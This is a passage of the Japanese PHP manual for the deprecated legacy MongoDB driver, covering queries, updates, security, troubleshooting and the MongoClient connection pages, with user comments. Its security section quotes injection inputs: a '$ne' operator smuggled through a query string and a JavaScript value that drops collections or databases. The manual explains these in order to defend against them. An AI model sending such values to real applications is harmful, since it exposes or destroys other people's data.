        {
            "third place" :  "bronze"
        }
     ]
}

このような場合でも、配列であることを特別視する必要はありません。 内部のオブジェクトへの問い合わせには、ドット記法が使えます。

<?php

$cursor = $collection->find(array("awards.first place" => "gold"));

?>

フィールド名にスペースが含まれていてもかまわないことに注目しましょう (スペースを使わないにこしたことはありませんが、可読性を考慮しました)。

配列を使って、取り得る値を複数指定した問い合わせを行うこともできます。 "gold" あるいは "copper" を含むドキュメントを探すには、このようにします。

<?php

$cursor = $collection->find(array("awards" => array('$in' => array("gold", "copper"))));

?>

変更履歴

バージョン | 説明
1.3.0 | 優先読み込み の仕組みが導入され、セカンダリからの読み込みに関してよりきめ細やかな制御ができるようになりました。
1.3.0 | slaveOkay が非推奨になりました。かわりに 優先読み込み を使いましょう。
1.1.0 | 読み込みをレプリカセットのセカンダリに振り向ける仕組みとして Mongo::setSlaveOkay() が導入されました。

User Contributed Notes

patrick at hexane dot org 15-Nov-2011 07:08
Note that $db->collection->find()->count() will always run on the PRIMARY, since underneath the hood ->count() is a dbcommand.
Charle Demers 13-May-2010 09:14
Watch for types casting in your queries, make sure ints are typed as ints and strings as strings.

Ex:
<?php

$friendId = $_SESSION['friendId'];
$request = array( 'friends.friendId' => (int)$friendId );
$friend = $this->_mongo->friends->findOne( $request );

?>

This example would not work without casting the $friendId to int in the request array (unless the friendId column in Mongo is actually really a string).
jhuntwork at lightcubesolutions dot com 17-Feb-2010 02:25
If you have already converted the MongoID into a string elsewhere and need to query for an _id based on the string, you can do so by creating a new MongoID object:

<?php

$m = new Mongo();
$collection = $collection = $m->selectDB('foo')->selectCollection('bar');

$id_string = '4b7c29908ead0e2e1d000000';

// The string is converted to a MongoID object
$mongo_id = new MongoID($id_string);

// $obj will be an array of data if the _id exists in the collection
$obj = $collection->findOne(array('_id'=>$mongo_id));

?>


更新

更新は、MongoDB でできる操作の中でも最も複雑なもののひとつです。 これは、クエリの実行とその条件にマッチしたドキュメントへの操作を組み合わせたものです。 更新操作はきわめて強力なものでもあり、 ドキュメントの内容を手早く変更したり置き換えたりすることができます。 また、(可能なら) その場で、少ないオーバーヘッドで実行することができます。

ドキュメントの変更と置換

更新に使える方法は、二通りあります。変更による更新と、置換による更新です。 変更による更新は $ 演算子を含み、ドキュメント内のフィールドを変更します。 カウンタを増加させたり配列に新しい要素を追加したり、フィールドの型を変更したりといった更新がこれにあたります。

たとえば、変更による更新ではドキュメントに新たなフィールドを追加することができます。

<?php
/** このようなドキュメントを前提としています
 * {"username" : "...", "password" : "...", "email" : "..."}
 */
$coll->update(array("username" => "joe"), array('$set' => array("twitter" => "@joe4153")));

/** この結果、ドキュメントは次のようになります
 * {"username" : "joe", "password" : "...", "email" : "...", "twitter" : "@joe4153"}
 */
?>

置換による更新は、マッチしたドキュメント全体を新しいドキュメントで置き換えます。 $ 演算子を使った更新よりも非効率的ですが、複雑な操作や $ 演算子で表現できないような更新などでは非常に便利です。

たとえば、置換による更新ではドキュメントの構造を完全に変更してしまうことができます。

<?php
/** このようなドキュメントを前提としています
 * {"username" : "...", "password" : "...", "email" : "..."}
 */
$coll->update(array("username" => "joe"), array("userId" => 12345, "info" => array(
    "name" => "joe", "twitter" => "@joe4153", "email" => "..."), "likes" => array()));

/** この結果、ドキュメントは次のようになります
 * {
 *     "userId" : 12345,
 *     "info" : {
 *         "name" : "joe",
 *         "twitter" : "@joe4153",
 *         "email" : "..."
 *     },
 *     "likes" : []
 * }
 */
?>

ネストしたオブジェクトの更新

次のドキュメントで、コメントの作者名を変更したいとします。

{
    "_id" : ObjectId("4b06c282edb87a281e09dad9"),
    "content" : "this is a blog post.",
    "comments" :
    [
        {
            "author" : "Mike",
            "comment" : "I think that blah blah blah...",
        },
        {
            "author" : "John",
            "comment" : "I disagree."
        }
    ]
}
内部のフィールドを変更するには、$set を使って (その他のフィールドを削除してしまわないように) 変更したいコメントのインデックスを指定します。
<?php

$blog->update($criteria, array('$set' => array("comments.1" => array("author" => "Jim"))));

?>

位置演算子

位置演算子 $ は、配列内のオブジェクトを更新するときに便利です。 上の例で、変更したいコメントのインデックスがわからず 単に "John" を "Jim" に変更したいといった場合を考えましょう。 そのためには $ を使います。

<?php

$blog->update(
    array("comments.author" => "John"),
    array('$set' => array('comments.$.author' => "Jim")));

?>

User Contributed Notes

Rudy 22-May-2011 09:37
See also the full update documentation in raw mongoDB:
http://www.mongodb.org/display/DOCS/Updating#Updating-%24inc

There you will find more information on modifier operations and everything that was briefly covered here. Translating to PHP should be easy!


セキュリティ

リクエストインジェクション攻撃

クエリに $_GET (あるいは $_POST) パラメータを渡している場合は、 まず最初にそれを文字列にキャストすることを忘れないようにしましょう。 GET リクエストや POST リクエストには連想配列を入れることもでき、 そのまま使うと期待通りのクエリにはなりません。

当たり障りのない例を示します。ユーザーの情報を調べるときに http://www.example.com?username=bob のようなリクエストを送っているとしましょう。アプリケーション側では $collection->find(array("username" => $_GET['username'])) のような問い合わせをします。

ここで、誰かが http://www.example.com?username[$ne]=foo のようなリクエストを送ったとします。PHP はこれを自動的に連想配列に変換するので、クエリは $collection->find(array("username" => array('$ne' => "foo"))) のようになります。これは、名前が "foo" ではないユーザーすべて (おそらく全員でしょうね) の情報を返すことになります。

この攻撃を防ぐのはきわめて簡単です。$_GET パラメータや $_POST パラメータが期待通りの型であることを確かめてから データベースにリクエストを送ればよいのです (この場合は、文字列にキャストすることになります)。

この種の攻撃は、ドキュメントを指すすべてのデータベース操作で可能であることに気をつけましょう。 更新や upsert、find した内容の修正、削除などがこれにあたります。

» Phil の指摘に感謝します。

» メインドキュメント には、MongoDB における SQL インジェクション風の問題に関する詳細な情報があります。

スクリプトインジェクション攻撃

JavaScript を使う場合、PHP と JavaScript をまたぐ変数の受け渡しは MongoCode の scope フィールドで行いましょう。JavaScript の文字列にしてはいけません。 このような受け渡しが発生するのは、MongoDB::execute() や $where 句、MapReduce、group-by、そしてその他 JavaScript をデータベースに渡す場合です。

注意:

MapReduce は MongoCode の scope フィールドを無視しますが、コマンドのオプション scope をかわりに使うことができます。

たとえば、JavaScript を使ってデータベースログのユーザーにあいさつをするとしましょう。 こんなふうに書くことができます。

<?php

// これはやっちゃだめ!

$username = $_POST['username'];
$db->execute("print('Hello, $username!');");

?>

しかし、悪意のあるユーザーがこんな JavaScript を渡したとしたらどうなるでしょう?

<?php

// これはやっちゃだめ!

// $username に "'); db.users.drop(); print('" が入っているとすると...
$db->execute("print('Hello, $username!');");

?>

このとき MongoDB が実行する JavaScript 文字列は "print('Hello, '); db.users.drop(); print('!');" となります。この手の攻撃を回避するのは簡単で、変数を PHP から JavaScript に渡すときに scope を使います。

<?php

$scope = array("user" => $username);
$db->execute(new MongoCode("print('Hello, '+user+'!');", $scope));

?>

これは、変数 user を JavaScript のスコープに渡します。 もし誰かが悪意のあるコードを仕込んだとしても、MongoDB は何の被害も受けずに単に Hello, '); db.dropDatabase(); print('! と表示するまでです。

scope を使えば、悪意のある入力がデータベースで実行されることを防ぐ助けになります。 しかし、コードの中で入力を実行してしまわないように注意が必要です。 たとえば、JavaScript eval 関数をユーザーの入力に対して決して使ってはいけません。

<?php

// これはやっちゃだめ!

// $jsShellInput は "db.users.drop();" です
$scope = array("input" => $jsShellInput);
$db->execute(new MongoCode("eval(input);", $scope));

?>

常に scope を使い、 決してユーザーの入力をデータベースのコードとして実行させないようにしましょう。

User Contributed Notes

Mark Caudill 07-Mar-2011 10:18
This also occurs using POST (obviously) despite it not being mentioned.  Sanitize all input you are taking in that can cause this issue.


トラブルシューティング

何か問題が発生した場合は、これらが参考になるでしょう。

  • IRC

    MongoDB の公式 IRC ルームは irc.freenode.net/#mongodb です。ここが、一番すばやく反応が得られるところでしょう。

  • メーリングリスト

    » MongoDB のメーリングリスト に質問すれば、(通常はとても早く反応があり) よい答えが得られるでしょう。

  • バグトラッカー

    バグを見つけた? 機能を追加して欲しい? 疑問がある? » PHP ドライバ用のバグトラッカー にそれを登録してください。

ドライバに、あらゆるエラーメッセージを記録させることもできます。 E_NOTICE レベルの PHP のエラーとして記録されます。 実例は MongoLog を参照ください。

User Contributed Notes

There are no user contributed notes for this page.


ドライバのテストの実行

PECL パッケージには含まれていませんが、 » Github でテストを公開しています。

.phpt のテスト

.phpt のテストは、PHP の拡張モジュールをテストするときの標準的な手段です。 MongoDB ドライバを "make" でコンパイルしてから "make test" を実行すると、このテストができます。テストを実行するためには MongoDB が動いている必要があるので、 テストスイート自体の設定もしないといけません。

このあたりに関する詳細な情報は、 » GitHub にある貢献者向けガイドラインを参照ください。

エラーのレポート

テストに失敗したりエラーが発生したりした場合は、 » バグトラッカーへのレポートをお願いします。 いくつかのテストがスキップされることがありますが、 これは通常の動作であり無視してもかまいません。

新しいテストの提供も歓迎します! あらゆる形式の、あらゆる機能に対する新しいテストの提供を楽しみに待っています。

User Contributed Notes

There are no user contributed notes for this page.


コアクラス群

目次

  • MongoClient
  • MongoDB
  • MongoCollection
  • MongoCursor
  • MongoCursorInterface
  • MongoCommandCursor
警告

この拡張モジュールは非推奨です。 かわりに MongoDB 拡張モジュールを使うべきです。

これらのクラスは、ドライバの最も重要な部分です。

User Contributed Notes

There are no user contributed notes for this page.


MongoClient クラス

(PECL mongo >=1.3.0)

警告

このクラスを定義している拡張モジュールは非推奨です。 かわりに MongoDB 拡張モジュールを使うべきです。 このクラスの代替として、以下が使えます。

  • MongoDB\Driver\Manager

はじめに

PHP と MongoDB の接続を管理します。

このクラスを使って、接続を作ったり管理したりします。典型的な使いかたは、このようになります。

例1 MongoClient の基本的な使いかた

<?php

$m = new MongoClient(); // 接続します
$db = $m->foo; // "foo" というデータベースを取得します

?>

接続の作成に関する詳細な情報は、 MongoClient::__construct() および 接続 のセクションを参照ください。

クラス概要

MongoClient {
/* 定数 */
const string VERSION ;
const string DEFAULT_HOST = "localhost" ;
const int DEFAULT_PORT = 27017 ;
const string RP_PRIMARY = "primary" ;
const string RP_PRIMARY_PREFERRED = "primaryPreferred" ;
const string RP_SECONDARY = "secondary" ;
const string RP_SECONDARY_PREFERRED = "secondaryPreferred" ;
const string RP_NEAREST = "nearest" ;
/* プロパティ */
public bool $connected = false ;
public string $status = null ;
protected string $server = null ;
protected bool $persistent = null ;
/* メソッド */
public __construct ( string $server = "mongodb://localhost:27017" , array $options = array("connect" => true) , array $driver_options = ? )
public Mongo::close ( bool|string $connection = ? ) : bool
public Mongo::connect ( ) : bool
public dropDB ( mixed $db ) : array
public Mongo::__get ( string $dbname ) : MongoDB
public static getConnections ( ) : array
public Mongo::getHosts ( ) : array
public getReadPreference ( ) : array
public getWriteConcern ( ) : array
public killCursor ( string $server_hash , int|MongoInt64 $id ) : bool
public listDBs ( ) : array
public selectCollection ( string $db , string $collection ) : MongoCollection
public selectDB ( string $name ) : MongoDB
public setReadPreference ( string $read_preference , array $tags = ? ) : bool
public setWriteConcern ( mixed $w , int $wtimeout = ? ) : bool
public Mongo::__toString ( ) : string
}

定義済み定数

MongoClient 定数

MongoClient::VERSION
PHP ドライバのバージョン。中間バージョンの場合は最後に "dev" や "+"、そして "-" がつくことがあります。
MongoClient::DEFAULT_HOST
ホストを指定しない場合に接続するホスト。
MongoClient::DEFAULT_PORT
ポートを指定しない場合に接続するポート。
MongoClient::RP_PRIMARY
プライマリのレプリカセットメンバーを 優先読み込み する。
MongoClient::RP_PRIMARY_PREFERRED
プライマリのレプリカセットメンバーのほうを優先して 優先読み込み する。
MongoClient::RP_SECONDARY
セカンダリのレプリカセットメンバーを 優先読み込み する。
MongoClient::RP_SECONDARY_PREFERRED
セカンダリのレプリカセットメンバーの方を優先して 優先読み込み する。
MongoClient::RP_NEAREST
最も近いレプリカセットメンバーを 優先読み込み する。

フィールド

connected

このプロパティに true が設定されるのは、データベース接続がオープンしている場合です。 それ以外の場合は false が設定されます。 レプリカセットへの接続の場合は、現在の優先読み込みにマッチするノードに接続している場合にのみ true となります。 このプロパティは、認証を考慮しません。

このプロパティは、バージョン 1.5.0 以降で 非推奨 となりました。

status

このプロパティはもう使われておらず、値は null に設定されます。 バージョン 1.1.x より前のドライバでは、持続的接続を使う場合にここに文字列 ("recycled" や "new" など) が設定されていました。

このプロパティは、バージョン 1.5.0 以降で 非推奨 となりました。

参考

  • 優先読み込み
  • Write Concerns
  • 接続
  • MongoDB コアドキュメントの » connecting

目次

  • Mongo::close — 接続を閉じる
  • Mongo::connect — データベースサーバーに接続する
  • MongoClient::__construct — Creates a new database connection object
  • MongoClient::dropDB — Drops a database [deprecated]
  • Mongo::__get — データベースを取得する
  • MongoClient::getConnections — 開いているすべての接続の情報を返す
  • Mongo::getHosts — 関連づけられたすべてのホストの状態を更新する
  • MongoClient::getReadPreference — この接続の優先読み込みを取得する
  • MongoClient::getWriteConcern — Get the write concern for this connection
  • MongoClient::killCursor — サーバー上の指定したカーソルを削除する
  • MongoClient::listDBs — Lists all of the databases available
  • MongoClient::selectCollection — Gets a database collection
  • MongoClient::selectDB — Gets a database
  • MongoClient::setReadPreference — この接続の優先読み込みを設定する
  • MongoClient::setWriteConcern — Set the write concern for this connection
  • Mongo::__toString — この接続の文字列表現

User Contributed Notes

East Ghost Com 01-Sep-2016 12:56
One MongoClient is required per every MongoDB.

So, if you have a website-specific database but also a shared database (like maybe one holding ZipCodes and State names), then each needs its own MongoClient.  One MongoClient can not be shared amongst multiple MongoDB's.
bennettsst at NOSPAM dot gmail dot com 12-May-2014 11:20
Using the 1.2.5-5.5 vc11 driver the connected attribute is depracted.
mike at eastghost dot com 07-Mar-2013 09:35
This will help maintain sanity while debugging replicaSet connectivity problems:

error_reporting( E_ALL )
// print every log message possible
\MongoLog::setLevel(\MongoLog::ALL); // all log levels
\MongoLog::setModule(\MongoLog::ALL); // all parts of the driver
mike at eastghost dot com 07-Mar-2013 09:34
php monogo driver 1.3.4
feb 2013

After demoting old replicaset primary to secondary, and promoting old replicaset second into primary, we began seeing "No candidate servers found" MongoException at initial attempt to connect to (new) replicaset primary (via this hint in the /etc/mongo.conf: replSet = rs1/pri.eastghost.com)

Fix seems to be

1. NEVER list "localhost" in the bind= line of /etc/mongo.conf

2. ALWAYS list every replica set member in every member's /etc/hosts file -- there seems to be something wrong with DNS lookup timing.
jazz at funkynerd dot com 28-Nov-2012 01:36
Seeing as the Mongo class has been deprecated, I'm using the following code to allow compatibility with the pre 1.3.0 driver successfully.

<?php
$class = 'MongoClient';

if(!class_exists($class)){

    $class = 'Mongo';

}

$conn = new $class($hosts, $args);
?>


接続を閉じる

  • ≪ MongoClient
  • Mongo::connect ≫
  • PHP Manual
  • MongoClient
  • 接続を閉じる

Mongo::close

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

Mongo::close — 接続を閉じる

このメソッドを定義している拡張モジュールは非推奨です。 かわりに MongoDB 拡張モジュールを使うべきです。 このメソッドの代替は、新しい拡張モジュールには存在しません。

説明

public Mongo::close ( bool|string $connection = ? ) : bool

Mongo::close() メソッドは、 データベースとの接続を強制的に閉じます。持続的接続を使っていても同じです。 通常は、決して このメソッドを使う必要はありません。

パラメータ

connection

指定しなかったり false を渡したりした場合は、 書き込み用に選ばれた接続を閉じます。単一ノード構成の場合はすべての接続を閉じることになりますが、 レプリカセットに接続している場合は、close() とするとプライマリサーバーへの接続 だけ を閉じることになります。

true を渡すと、コネクションマネージャーが把握しているすべての接続を閉じます。 つまり、close を呼んだオブジェクトを作ったときの接続文字列に含まれていない接続も、 閉じる対象になる可能性があります。

文字列を渡すと、このハッシュが指す接続だけを閉じます。 ハッシュとは接続の識別子のことで、Mongo::getConnections() を呼ぶと取得できます。

返り値

接続を閉じるのに成功したかどうかを返します。

例

例1 MongoClient::close() の例

この例は、セカンダリへの接続だけを選んで閉じる方法を示すものです。

<?php
// レプリカセットに接続します
$a = new Mongo("mongodb://whisky:13000/?replicaset=seta");

$connections = $a->getConnections();

foreach ( $connections as $con )
{
    // すべての接続をループし、型が "SECONDARY"
    // のときに接続を閉じます
    if ( $con['connection']['connection_type_desc'] == "SECONDARY" )
    {
        echo "Closing '{$con['hash']}': ";
        $closed = $a->close( $con['hash'] );
        echo $closed ? "ok" : "failed", "\n";
    }
}
?>

上の例の出力は以下となります。

Closing 'whisky:13001;X;4948': ok

変更履歴

バージョン | 説明
PECL mongo 1.3.0 | connection パラメータが追加されました。 それより前のバージョンでは、このメソッドで閉じられるのは書き込み接続だけでした。
PECL mongo 1.2.0 | 1.2.0 より前のバージョンでは、デフォルトでは持続的接続を使いませんでした。 そして、MongoDB の接続がスコープから抜ければすぐに閉じられていました。 バージョン 1.2.0 からはそうではなくなりました。 close を呼ばないと、高負荷な接続がサーバーを使い切ってしまう可能性があります。

参考

  • Mongo::getConnections()

User Contributed Notes

There are no user contributed notes for this page.


データベースサーバーに接続する

  • ≪ Mongo::close
  • MongoClient::__construct ≫
  • PHP Manual
  • MongoClient
  • データベースサーバーに接続する

Mongo::connect

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

Mongo::connect — データベースサーバーに接続する

このメソッドを定義している拡張モジュールは非推奨です。 かわりに MongoDB 拡張モジュールを使うべきです。 このメソッドの代替は、新しい拡張モジュールには存在しません。

説明

public Mongo::connect ( ) : bool

パラメータ

この関数にはパラメータはありません。

返り値

接続に成功したかどうかを返します。

エラー / 例外

データベースとの接続に失敗した場合に MongoConnectionException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


Creates a new database connection object

  • ≪ Mongo::connect
  • MongoClient::dropDB ≫
  • PHP Manual
  • MongoClient
  • Creates a new database connection object

MongoClient::__construct

(PECL mongo >=1.3.0)

MongoClient::__construct — Creates a new database connection object

このメソッドを定義している拡張モジュールは非推奨です。 かわりに MongoDB 拡張モジュールを使うべきです。 このメソッドの代替として、以下が使えます。

  • MongoDB\Driver\Manager::__construct()

説明

public MongoClient::__construct
 ( string $server = "mongodb://localhost:27017"
, array $options = array("connect" => true)
, array $driver_options = ?
)

If no parameters are passed, this connects to "localhost:27017" (or whatever was specified in php.ini for mongo.default_host and mongo.default_port).

server should have the form:

mongodb://[username:password@]host1[:port1][,host2[:port2:],...]/db

The connection string always starts with mongodb://, to indicate it is a connection string in this form.

If username and password are specified, the constructor will attempt to authenticate the connection with the database before returning. Username and password are optional and must be followed by an @, if specified.

At least one host must be given (port optional, always defaulting to 27017) and as many hosts as desired may be connected to. Host names are comma-separated and the constructor will return successfully if it connected to at least one host. If it could not connect to any of the hosts, it will throw a MongoConnectionException. Please see the Replica Sets section for information on how to connect to Replica Sets.

If you specified a username and password, you may specify a database to authenticate with. If db is not specified, "admin" will be used.

An optional query string may be used to specify extra options. The same options are supported through the options array as well, and are therefore redescribed there. See the examples below on how to set those options.

One part of the options governs how the driver reads from secondary nodes in a replica set environment. Extra information on how these read preferences work is available as well through the read preferences documentation page.

パラメータ

server

The server name.

options

An array of options for the connection. Currently available options include:

  • "authMechanism"

    Available mechanisms are:

    authMechanism | Description | Availability
    MONGODB-CR | Authenticate using Challenge Response mechanism. This is the default value. | All MongoDB versions
    MONGODB-X509 | Authenticates using X509 certificates | MongoDB 2.6. Only available when OpenSSL is enabled
    PLAIN | Authenticates using unencrypted plain username+password. Must be used over SSL connections. Generally used by MongoDB to login via 3rd party LDAP server | MongoDB Enterprise 2.4. The Driver must be compiled against CyrusSASL2
    GSSAPI | Authenticates via kerberos systems | MongoDB Enterprise 2.4. The Driver must be compiled against CyrusSASL2
    SCRAM-SHA-1 | Authenticates using SCRAM-SHA-1 | MongoDB 3.0.

  • "authSource"

    Should be set to the database name where the user is defined it.

  • "connect"

    If the constructor should connect before returning. Default is true. When set to false the driver will automatically connect to the server whenever it is necessary to do a query. Alternatively, you can run MongoClient::connect() manually.

    警告

    This option is not supported through the connection string.

  • "connectTimeoutMS"

    How long a connection can take to be opened before timing out in milliseconds. Defaults to 60000 (60 seconds).

    If -1 is specified, no connection timeout will be applied and PHP will use default_socket_timeout.

  • "db"

    The database to authenticate against can be specified here, instead of including it in the host list. This overrides a database given in the host list.

  • "fsync"

    When "fsync" is set, all write operations will block until the database has flushed the changes to disk. This makes the write operations slower, but it guarantees that writes have succeeded and that the operations can be recovered in case of total system failure.

    If the MongoDB server has journaling enabled, this option is identical to "journal". If journaling is not enabled, this option ensures that write operations will be synced to database files on disk.

    注意: If journaling is enabled, users are strongly encouraged to use the "journal" option instead of "fsync". Do not use "fsync" and "journal" simultaneously, as that will result in an error.

  • "journal"

    When "journal" is set, all write operations will block until the database has flushed the changes to the journal on disk. This makes the write operations slower, but it guarantees that writes have succeeded and that the operations can be recovered in case of total system failure.

    注意: If this option is used and journaling is disabled, MongoDB 2.6+ will raise an error and the write will fail; older server versions will simply ignore the option.

  • "gssapiServiceName"

    Sets the » Kerberos service principal. Only applicable when authMechanism=GSSAPI. Defaults to "mongodb".

  • "password"

    The password can be specified here, instead of including it in the host list. This is especially useful if a password has a "@" in it. This overrides a password set in the host list.

  • "readPreference"

    Specifies the read preference type. Read preferences provide you with control from which secondaries data can be read from.

    Allowed values are: MongoClient::RP_PRIMARY,
MongoClient::RP_PRIMARY_PREFERRED,
MongoClient::RP_SECONDARY,
MongoClient::RP_SECONDARY_PREFERRED and
MongoClient::RP_NEAREST.

    See the documentation on read preferences for more information.

  • "readPreferenceTags"

    Specifies the read preference tags as an array of strings. Tags can be used in combination with the readPreference option to further control which secondaries data might be read from.

    See the documentation on read preferences for more information.

  • "replicaSet"

    The name of the replica set to connect to. If this is given, the primary will be automatically be determined. This means that the driver may end up connecting to a server that was not even listed. See the replica set example below for details.

  • "secondaryAcceptableLatencyMS"

    When reading from a secondary (using ReadPreferences), do not read from secondaries known to be more then secondaryAcceptableLatencyMS away from us. Defaults to 15

  • "socketTimeoutMS"

    How long a socket operation (read or write) can take before timing out in milliseconds. Defaults to 30000 (30 seconds).

    If -1 is specified, socket operations may block indefinitely. This option may also be set on a per-operation basis using MongoCursor::timeout() for queries or the "socketTimeoutMS" option for write methods.

    注意: This is a client-side timeout. If a write operation times out, there is no way to know if the server actually handled the write or not, as a MongoCursorTimeoutException will be thrown in lieu of returning a write result.

  • "ssl"

    A boolean to specify whether you want to enable SSL for the connections to MongoDB. Extra options such as certificates can be set with SSL コンテキストオプション.

  • "username"

    The username can be specified here, instead of including it in the host list. This is especially useful if a username has a ":" in it. This overrides a username set in the host list.

  • "w"

    The w option specifies the Write Concern for the driver, which determines how long the driver blocks when writing. The default value is 1.

    This option is applicable when connecting to both single servers and replica sets. A positive value controls how many nodes must acknowledge the write instruction before the driver continues. A value of 1 would require the single server or primary (in a replica set) to acknowledge the write operation. A value of 3 would cause the driver to block until the write has been applied to the primary as well as two secondary servers (in a replica set).

    A string value is used to control which tag sets are taken into account for write concerns. "majority" is special and ensures that the write operation has been applied to the majority (more than 50%) of the participating nodes.

  • "wTimeoutMS"

    This option specifies the time limit, in milliseconds, for write concern acknowledgement. It is only applicable for write operations where "w" is greater than 1, as the timeout pertains to replication. If the write concern is not satisfied within the time limit, a MongoCursorException will be thrown. A value of 0 may be specified to block indefinitely. The default value is 10000 (ten seconds).

The following options are deprecated and should no longer be used:

  • "slaveOkay"

    Deprecated. Please use the read preference options.

  • "timeout"

    Deprecated alias for "connectTimeoutMS".

  • "wTimeout"

    Deprecated alias for "wTimeoutMS".

driver_options

An array of options for the MongoDB driver. Options include setting connection context options for SSL or logging callbacks.

  • "context"

    The Stream Context to attach to all new connections. This allows you for example to configure SSL certificates and are described at SSL context options. See the Connecting over SSL tutorial.

返り値

Returns a new database connection object.

エラー / 例外

Throws MongoConnectionException if it tries and fails to connect to the database for all hostnames given. It will also throw a MongoConnnectionException if an invalid username or password is given. See MongoConnectionException documentation for common exceptions and their causes.

例

例1 MongoClient::__construct() replica set example

This example shows how to connect the driver to a replica set. It assumes that there is a set of three servers: sf1.example.com, sf2.example.com, and ny1.example.com. The primary could be any one of these servers.

<?php

// pass a comma-separated list of server names to the constructor
// Note that we don't need to pass in all the members of the replicaset, the driver
// will derive the full list.
$m1 = new MongoClient("mongodb://sf2.example.com,ny1.example.com", array("replicaSet" => "myReplSet"));

?>

If the current primary fails, the driver will figure out which secondary server became the new primary and automatically start using that connection. Automatic failover will not work correctly if replicaSet is not specified.

At least one seed in the seed list must be up for the driver to connect to the replica set.

If you include seeds from two separate replica sets, behavior is undefined.

See the » core documentation on replica sets for more information.

例2 Connecting to a domain socket

In version 1.0.9+, you can use a UNIX domain socket to connect to an instance of MongoDB running locally. This should be slightly faster than using a network connection.

In version 1.5.0, the MongoDB server automatically opens a socket at /tmp/mongodb-<port>.sock. You can connect to this by specifying the path in your connection string:

<?php

// MongoDB server running locally on port 20000
$m = new MongoClient("mongodb:///tmp/mongodb-20000.sock");

?>

You can combine this with any other connections you'd like:

<?php

// try to connect to the domain socket, fall back to localhost connection
$m = new MongoClient("mongodb:///tmp/mongodb-27017.sock,localhost:27017");

?>

例3 MongoClient::__construct() authentication example

A user must exist in the admin database before attempting to use authentication. You can create one with the Mongo shell by running:

> use admin
switched to db admin
> db.addUser("testUser", "testPass");
{
        "_id" : ObjectId("4b21272fd9ab21611d19095c"),
        "user" : "testUser",
        "pwd" : "03b9b27e0abf1865e2f6fcbd9845dd59"
}
>

After creating a user with, in this case, username "testUser" and password "testPass", you can create an authenticated connection:

<?php

$m = new MongoClient("mongodb://testUser:testPass@localhost");

?>

例4 MongoClient::__construct() read preference example

<?php

// Prefer the nearest server in the "east" data center
$uri  = 'mongodb://rs1.example.com,rs2.example.com/';
$uri .= '?readPreference=nearest';
$uri .= '&readPreferenceTags=dc:east';
$m = new MongoClient($uri, array('replicaSet' => 'rs'));
?>

See the read preferences section of this manual for further information.

例5 MongoClient::__construct() options example

Options can be passed both through the query string in the connection string, or as an array passed as second argument to the constructor.

Here we set the journal option to true and readPreference to secondary preferred as default for all write operations:

<?php
$m = new MongoClient("mongodb://localhost/?journal=true&readPreference=secondary");
?>

And now we do the same, but as an options array:

<?php
$options = array(
    'journal' => true,
    'readPreference' => 'secondary',
);
$m = new MongoClient("mongodb://localhost/", $options);
?>

例6 MongoClient::__construct() read preference example

<?php

// Prefer the nearest server in the "east" data center
$uri  = 'mongodb://rs1.example.com,rs2.example.com/';
$uri .= '?readPreference=nearest';
$uri .= '&readPreferenceTags=dc:east';
$m = new MongoClient($uri, array('replicaSet' => 'rs'));
?>

See the read preferences section of this manual for further information.

変更履歴

バージョン | 説明
PECL mongo 1.6.0

Added support for "SCRAM-SHA-1" in "authMechanism" option.

PECL mongo 1.5.0

Added "authMechanism", "gssapiServiceName", and "secondaryAcceptableLatencyMS".

PECL mongo 1.4.0

Added "ssl" option and support for connecting over SSL.

Added "wTimeoutMS" option, which replaces "wTimeout".

Emits E_DEPRECATED when "slaveOkay" or "timeout" is used.

PECL mongo 1.5.0

Added "authSource".

PECL mongo 1.3.4

Added "connectTimeoutMS" and "socketTimeoutMS" options.

PECL mongo 1.3.0

Added "readPreference", "readPreferenceTags", "w", and "wTimeout" options.

PECL mongo 1.2.0

Added "username" and "password" options.

Removed "persist" option, as all connections are now persistent. It can still be used, but it doesn't affect anything.

"persist"

If the connection should be persistent. If set, the connection will be persistent. The string representation of the value is used as an ID for the connection, so two instances of MongoClient that are initialized with array("persist" => "foobar") will share the same database connection, whereas an instance initialized with array("persist" => "barbaz") will use a different database connection.

The "replicaSet" option now takes a string, not a boolean.

PECL mongo 1.0.9 | Added "replicaSet" option.
PECL mongo 1.0.2

Changed constructor to take an array of options. Pre-1.0.2, the constructor took the following parameters:

server

The server name.

connect

Optional boolean parameter specifying if the constructor should connect to the database before returning. Defaults to true.

persistent

If the connection should be persistent.

paired

If the connection should be paired.

User Contributed Notes

mike at eastghost dot com 09-Apr-2015 06:29
FOLLOW UP to comment on speed

Now using --
mongo 3.0.1 pre-compiled binaries
using mongo/php-1.6.6. driver from PECL
on php 5.6.0
on apache 2.4
on debian wheezy 7.8

Dropped in mongo 301 binaries
everything else unchanged
restarted apache

instantly started getting "No candidate servers found"
upgraded to mongo/php-1.6.6 driver on pecl
same result

of these four parms to \MongoClient()

A) 'mongodb:///tmp/mongodb-27017.sock'
B) #'mongodb://127.0.0.1:27017'
C) #'mongodb://localhost:27017'
D) #'mongodb://pri.eastghost.com:27017'

A) used to be 100x to 200x faster than B), C) and maybe 400x faster than D), as explained in comment below, but initially (after mongo 3.0.1 drop-in) A) stopped dead.  Tried B, instantly began working.  Went back to A), kept working.  Almost seems as if driver 1.6.6 can not populate candidate servers list when called via unix socket (/tmp/mongodb-27017.sock), but once the list is populated, calling via unix socket magically works fine.

While screwing around with this, all else unchanged, we're now noticing B) and C) seem to be as fast as A), and D) is only slightly slower (due to connect over WAN, instead of local LAN).  This behavior is as it theoretically should be: Maybe the once huge difference in the mongo php driver between unix sockets and localhost has been fixed?  Still testing -- will report back if any slowdown noticed.

see https://groups.google.com/forum/#!topic/mongodb-user/RTBDDMwywzA
mike at eastghost dot com 09-Oct-2013 04:56
HOLY MOLY, 100 to 200 times instant speed boost in one small change.

"In version 1.0.9+, you can use a UNIX domain socket to connect to an instance of MongoDB running locally. This should be slightly faster than using a network connection."

is an EXTREME understatement.  Just trying out stuff, playing around, etc., we changed from

MongoClient( 'mongodb://pri.eastghost.com:27017' etc)

to

MongoClient ( 'mongodb:///tmp/mongodb-27017.sock' etc)

and saw instant 100x-200x speed boost, all else untouched.
page times went from 700 - 1400 (as in 1.4 seconds)
to 7 as in milliseconds.

mongo driver 1.4.1
(for apache 2.6)
mike at eastghost dot com 06-Mar-2013 04:44
read somewhere that

$uri  = 'mongodb://rs1.example.com/?w=0';

(the w=0 parm) makes the MongoDB driver accept 'blind writes' without waiting for any confirmation of write success from server.


Drops a database [deprecated]

  • ≪ MongoClient::__construct
  • Mongo::__get ≫
  • PHP Manual
  • MongoClient
